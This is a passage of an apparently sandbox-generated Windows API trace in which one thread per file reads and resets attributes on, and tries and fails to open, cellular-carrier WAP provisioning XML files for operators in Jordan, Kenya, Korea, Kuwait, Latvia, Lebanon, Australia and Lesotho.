(Jordan)_i0$(__MVID)@WAP.provxml", dwFileAttributes=0x20) returned 0 [0178.862] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\227__Connections_Cellular_Umniah (Jordan)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\227__connections_cellular_umniah (jordan)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0178.862] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\227__Connections_Cellular_Umniah (Jordan)_i0$(__MVID)@WAP.provxml", dwFileAttributes=0x20) returned 0 [0178.862] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fefaf8) returned 1 [0178.862] RtlExitUserThread (Status=0x0) Thread: id = 2789 os_tid = 0xd28 [0178.575] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\228__Connections_Cellular_Zain (Jordan)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\228__connections_cellular_zain (jordan)_i0$(__mvid)@wap.provxml")) returned 0x20 [0178.811] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\228__Connections_Cellular_Zain (Jordan)_i0$(__MVID)@WAP.provxml", dwFileAttributes=0x20) returned 0 [0178.812] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\228__Connections_Cellular_Zain (Jordan)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\228__connections_cellular_zain (jordan)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0178.812] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\228__Connections_Cellular_Zain (Jordan)_i0$(__MVID)@WAP.provxml", dwFileAttributes=0x20) returned 0 [0178.812] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fef9b0) returned 1 [0178.812] RtlExitUserThread (Status=0x0) Thread: id = 2790 os_tid = 0xcd4 [0178.576] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\229__Connections_Cellular_Zain (Jordan)_i1$(__MVID)@WAP.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\229__connections_cellular_zain (jordan)_i1$(__mvid)@wap.provxml")) returned 0x20 [0178.810] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\229__Connections_Cellular_Zain (Jordan)_i1$(__MVID)@WAP.provxml", dwFileAttributes=0x20) returned 0 [0178.810] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\229__Connections_Cellular_Zain (Jordan)_i1$(__MVID)@WAP.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\229__connections_cellular_zain (jordan)_i1$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0178.810] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\229__Connections_Cellular_Zain (Jordan)_i1$(__MVID)@WAP.provxml", dwFileAttributes=0x20) returned 0 [0178.811] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fefc40) returned 1 [0178.811] RtlExitUserThread (Status=0x0) Thread: id = 2791 os_tid = 0xcd8 [0178.576] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\22__Connections_Cellular_Telstra (Australia)_i2$(__MVID)@WAP.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\22__connections_cellular_telstra (australia)_i2$(__mvid)@wap.provxml")) returned 0x20 [0178.861] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\22__Connections_Cellular_Telstra (Australia)_i2$(__MVID)@WAP.provxml", dwFileAttributes=0x20) returned 0 [0178.861] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\22__Connections_Cellular_Telstra (Australia)_i2$(__MVID)@WAP.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\22__connections_cellular_telstra (australia)_i2$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0178.861] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\22__Connections_Cellular_Telstra (Australia)_i2$(__MVID)@WAP.provxml", dwFileAttributes=0x20) returned 0 [0178.861] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x4f009e8) returned 1 [0178.861] RtlExitUserThread (Status=0x0) Thread: id = 2792 os_tid = 0xd2c [0178.577] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\230__Connections_Cellular_Safaricom (Kenya)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\230__connections_cellular_safaricom (kenya)_i0$(__mvid)@wap.provxml")) returned 0x20 [0178.859] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\230__Connections_Cellular_Safaricom (Kenya)_i0$(__MVID)@WAP.provxml", dwFileAttributes=0x20) returned 0 [0178.859] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\230__Connections_Cellular_Safaricom (Kenya)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\230__connections_cellular_safaricom (kenya)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0178.860] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\230__Connections_Cellular_Safaricom (Kenya)_i0$(__MVID)@WAP.provxml", dwFileAttributes=0x20) returned 0 [0178.860] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x4f001d8) returned 1 [0178.860] RtlExitUserThread (Status=0x0) Thread: id = 2793 os_tid = 0xd38 [0178.577] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\231__Connections_Cellular_KTF HSDPA Internet (Korea)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\231__connections_cellular_ktf hsdpa internet (korea)_i0$(__mvid)@wap.provxml")) returned 0x20 [0178.855] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\231__Connections_Cellular_KTF HSDPA Internet (Korea)_i0$(__MVID)@WAP.provxml", dwFileAttributes=0x20) returned 0 [0178.855] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\231__Connections_Cellular_KTF HSDPA Internet (Korea)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\231__connections_cellular_ktf hsdpa internet (korea)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0178.855] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\231__Connections_Cellular_KTF HSDPA Internet (Korea)_i0$(__MVID)@WAP.provxml", dwFileAttributes=0x20) returned 0 [0178.855] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fef538) returned 1 [0178.855] RtlExitUserThread (Status=0x0) Thread: id = 2794 os_tid = 0xd3c [0178.578] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\232__Connections_Cellular_Wataniya (Kuwait)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\232__connections_cellular_wataniya (kuwait)_i0$(__mvid)@wap.provxml")) returned 0x20 [0178.809] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\232__Connections_Cellular_Wataniya (Kuwait)_i0$(__MVID)@WAP.provxml", dwFileAttributes=0x20) returned 0 [0178.809] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\232__Connections_Cellular_Wataniya (Kuwait)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\232__connections_cellular_wataniya (kuwait)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0178.809] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\232__Connections_Cellular_Wataniya (Kuwait)_i0$(__MVID)@WAP.provxml", dwFileAttributes=0x20) returned 0 [0178.809] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x4f00b40) returned 1 [0178.809] RtlExitUserThread (Status=0x0) Thread: id = 2795 os_tid = 0xd34 [0178.578] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\233__Connections_Cellular_Zain (Kuwait)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\233__connections_cellular_zain (kuwait)_i0$(__mvid)@wap.provxml")) returned 0x20 [0178.808] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\233__Connections_Cellular_Zain (Kuwait)_i0$(__MVID)@WAP.provxml", dwFileAttributes=0x20) returned 0 [0178.808] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\233__Connections_Cellular_Zain (Kuwait)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\233__connections_cellular_zain (kuwait)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0178.808] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\233__Connections_Cellular_Zain (Kuwait)_i0$(__MVID)@WAP.provxml", dwFileAttributes=0x20) returned 0 [0178.808] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2ff03f0) returned 1 [0178.808] RtlExitUserThread (Status=0x0) Thread: id = 2796 os_tid = 0xd1c [0178.579] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\234__Connections_Cellular_Bite Latvija (Latvia)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\234__connections_cellular_bite latvija (latvia)_i0$(__mvid)@wap.provxml")) returned 0x20 [0178.807] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\234__Connections_Cellular_Bite Latvija (Latvia)_i0$(__MVID)@WAP.provxml", dwFileAttributes=0x20) returned 0 [0178.807] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\234__Connections_Cellular_Bite Latvija (Latvia)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\234__connections_cellular_bite latvija (latvia)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0178.807] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\234__Connections_Cellular_Bite Latvija (Latvia)_i0$(__MVID)@WAP.provxml", dwFileAttributes=0x20) returned 0 [0178.807] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fa0b10) returned 1 [0178.807] RtlExitUserThread (Status=0x0) Thread: id = 2797 os_tid = 0xb9c [0178.579] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\235__Connections_Cellular_LMT (Latvia)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\235__connections_cellular_lmt (latvia)_i0$(__mvid)@wap.provxml")) returned 0x20 [0178.806] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\235__Connections_Cellular_LMT (Latvia)_i0$(__MVID)@WAP.provxml", dwFileAttributes=0x20) returned 0 [0178.806] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\235__Connections_Cellular_LMT (Latvia)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\235__connections_cellular_lmt (latvia)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0178.806] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\235__Connections_Cellular_LMT (Latvia)_i0$(__MVID)@WAP.provxml", dwFileAttributes=0x20) returned 0 [0178.806] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2ff0538) returned 1 [0178.806] RtlExitUserThread (Status=0x0) Thread: id = 2798 os_tid = 0x96c [0178.580] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\236__Connections_Cellular_Tele2 (Latvia)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\236__connections_cellular_tele2 (latvia)_i0$(__mvid)@wap.provxml")) returned 0x20 [0178.854] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\236__Connections_Cellular_Tele2 (Latvia)_i0$(__MVID)@WAP.provxml", dwFileAttributes=0x20) returned 0 [0178.854] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\236__Connections_Cellular_Tele2 (Latvia)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\236__connections_cellular_tele2 (latvia)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0178.854] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\236__Connections_Cellular_Tele2 (Latvia)_i0$(__MVID)@WAP.provxml", dwFileAttributes=0x20) returned 0 [0178.854] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2ff0680) returned 1 [0178.854] RtlExitUserThread (Status=0x0) Thread: id = 2799 os_tid = 0xad0 [0178.580] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\237__Connections_Cellular_Tele2 (Latvia)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\237__connections_cellular_tele2 (latvia)_i0$(__mvid)@wap.provxml")) returned 0x20 [0178.852] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\237__Connections_Cellular_Tele2 (Latvia)_i0$(__MVID)@WAP.provxml", dwFileAttributes=0x20) returned 0 [0178.852] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\237__Connections_Cellular_Tele2 (Latvia)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\237__connections_cellular_tele2 (latvia)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0178.852] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\237__Connections_Cellular_Tele2 (Latvia)_i0$(__MVID)@WAP.provxml", dwFileAttributes=0x20) returned 0 [0178.853] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fefd88) returned 1 [0178.853] RtlExitUserThread (Status=0x0) Thread: id = 2800 os_tid = 0x6b0 [0178.581] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\238__Connections_Cellular_Alfa (Lebanon)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\238__connections_cellular_alfa (lebanon)_i0$(__mvid)@wap.provxml")) returned 0x20 [0178.850] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\238__Connections_Cellular_Alfa (Lebanon)_i0$(__MVID)@WAP.provxml", dwFileAttributes=0x20) returned 0 [0178.851] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\238__Connections_Cellular_Alfa (Lebanon)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\238__connections_cellular_alfa (lebanon)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0178.851] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\238__Connections_Cellular_Alfa (Lebanon)_i0$(__MVID)@WAP.provxml", dwFileAttributes=0x20) returned 0 [0178.851] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fef868) returned 1 [0178.851] RtlExitUserThread (Status=0x0) Thread: id = 2801 os_tid = 0x874 [0178.582] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\239__Connections_Cellular_MTC Touch (Lebanon)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\239__connections_cellular_mtc touch (lebanon)_i0$(__mvid)@wap.provxml")) returned 0x20 [0178.804] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\239__Connections_Cellular_MTC Touch (Lebanon)_i0$(__MVID)@WAP.provxml", dwFileAttributes=0x20) returned 0 [0178.805] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\239__Connections_Cellular_MTC Touch (Lebanon)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\239__connections_cellular_mtc touch (lebanon)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0178.805] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\239__Connections_Cellular_MTC Touch (Lebanon)_i0$(__MVID)@WAP.provxml", dwFileAttributes=0x20) returned 0 [0178.805] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x4f00488) returned 1 [0178.805] RtlExitUserThread (Status=0x0) Thread: id = 2802 os_tid = 0x9c0 [0178.582] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\23__Connections_Cellular_Vodafone AU (Australia)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\23__connections_cellular_vodafone au (australia)_i0$(__mvid)@wap.provxml")) returned 0x20 [0178.803] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\23__Connections_Cellular_Vodafone AU (Australia)_i0$(__MVID)@WAP.provxml", dwFileAttributes=0x20) returned 0 [0178.803] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\23__Connections_Cellular_Vodafone AU (Australia)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\23__connections_cellular_vodafone au (australia)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0178.803] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\23__Connections_Cellular_Vodafone AU (Australia)_i0$(__MVID)@WAP.provxml", dwFileAttributes=0x20) returned 0 [0178.804] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2faafb8) returned 1 [0178.804] RtlExitUserThread (Status=0x0) Thread: id = 2803 os_tid = 0x9d0 [0178.583] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\240__Connections_Cellular_Vodacom Lesotho (Lesotho)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\240__connections_cellular_vodacom lesotho (lesotho)_i0$(__mvid)@wap.provxml")) returned 0x20 [0178.849] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\240__Connections_Cellular_Vodacom Lesotho (Lesotho)_i0$(__MVID)@WAP.provxml", dwFileAttributes=0x20) returned 0 [0178.849] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\240__Connections_Cellular_Vodacom Lesotho (Lesotho)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\240__connections_cellular_vodacom lesotho (lesotho)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0178.850] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\240__Connections_Cellular_Vodacom Lesotho 